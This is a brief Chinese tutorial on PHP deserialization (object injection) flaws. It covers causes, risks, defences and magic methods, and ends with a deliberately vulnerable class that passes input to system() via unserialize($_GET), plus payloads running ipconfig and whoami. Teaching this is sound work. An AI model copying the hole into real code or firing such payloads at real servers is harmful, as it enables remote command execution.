反序列化
1. 定义
- 序列化就是把****一个对象变成字符串的操作,方便以特定的格式在进程之间跨平台、安全的进行通信;反序列化就是把字符串转化为对象的操作。PHP反序列化漏洞也叫PHP对象注入
2. 形成原因
- 程序****没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制
3. 危害
- 代码、系统命令执行
- getshell
4. 防御
- 严格过滤用户输入的unserialize函数的参数
- 对unserialize后的****变量内容进行检查,以确定内容没有被污染
5. 常见魔法函数
魔法函数 |
含义 |
__construrct() |
当****对象创建时被调用 |
__destruct() |
当****对象销毁时被调用 |
__sleep() |
在对象****被序列化之前被调用 |
__wakeup() |
在****unserialize()函数执行反序列化时调用 |
__toString() |
当****对象被当做字符串时使用 |
6. 实例
- 需配合****其他漏洞使用,例如代码执行、命令执行等
//代码
<?php
class Test{ //创建一个类
public $str='ichunqiu';
function __destruct(){ //通过反序列化,调用A对象,因为PHP魔法函数的原因,会自动执行__destruct()
@system($this->str);
}
}
$test = new Test();
//echo serialize($test);
echo "<pre>";
unserialize($_GET['code']); //反序列化,将得到的序列化字符串反序列化为对象
?>
//payload
?code=O:4:"Test":1:{s:3:"str";s:8:"ipconfig";}
?code=O:4:"Test":1:{s:3:"str";s:6:"whoami";}